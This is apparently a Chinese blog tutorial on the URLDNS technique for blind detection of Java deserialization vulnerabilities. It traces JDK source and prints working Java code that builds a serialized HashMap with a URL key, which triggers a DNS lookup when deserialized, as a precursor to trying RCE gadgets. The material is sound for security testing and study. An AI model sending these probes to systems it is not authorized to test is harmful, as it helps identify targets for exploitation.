通过 HashMap 触发 DNS 检测 Java 反序列化漏洞
我们常说的反序列化漏洞一般是指 readObject() 方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说 fastjson 会自动运行 setter,getter 方法。之后又有各种 RMI,JNDI 姿势去执行命令。现在常见的黑盒检测 Java 反序列化方式就是执行命令 API,比如用一个 gadget 去执行 nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的 gadget 服务器正好没这个 jar 包或者更新过了,但却有另一个存在漏洞的 jar 包。这时候单一的 gadget构造出的执行命令 payload 就会漏报。所以为了解决这种问题这里分享一个通过 HashMap 结合 URL 触发 DNS 检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了 readObject() 以及能否执行。之后再用各种 gadget 去尝试试 RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap 最早出现在 JDK 1.2 中,底层基于散列算法实现。而正是因为在 HashMap 中,Entry 的存放位置是根据 Key 的 Hash 值来计算,然后存放到数组中的。所以对于同一个 Key,在不同的 JVM 实现中计算得出的 Hash 值可能是不同的。因此,HashMap 实现了自己的 writeObject 和 readObject 方法。
因为是研究反序列化问题,所以我们来看一下它的 readObject 方法。
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看 putVal 时候 key 进入了 hash 方法,跟进看。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
复制
这里直接调用了 key 的 hashCode 方法。那么我们现在就需要一个类 hashCode 可以执行某些东西即可。
很幸运的我们发现了 URL 类,它有一个有趣的特点,就是当执行 hashCode 方法时会触发当前 URLStreamHandler 的 hashCode 方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
复制
我们可以继续跟进。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
复制
主要就是这句代码了。
InetAddress addr = getHostAddress(u);
复制
很简单,就是这里最后触发了 DNS 查询。
也就是说我们现在思路是通过 hashmap 放入一个 URL 的 key 然后会触发 DNS 查询。这里需要注意一个点,就是在 URLStreamHandler 的 hashCode 方法中首先进行了一个缓存判断即如果不等于 -1 会直接 return。
if (hashCode != -1)
return hashCode;
复制
因为在生成 hashMap put 时候会调用到 hashCode 方法,所以会缓存下来,即 hashcode 不为 -1。所以为了让被接收者触发 DNS 查询,我们需要先通过反射把 hashcode 值改为 -1,绕过缓存判断。
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
复制
最后生成的代码为:
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
复制
测试代码:
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();
复制
调用栈:
最终你会发现成功的触发 DNS 查询。
参考:https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/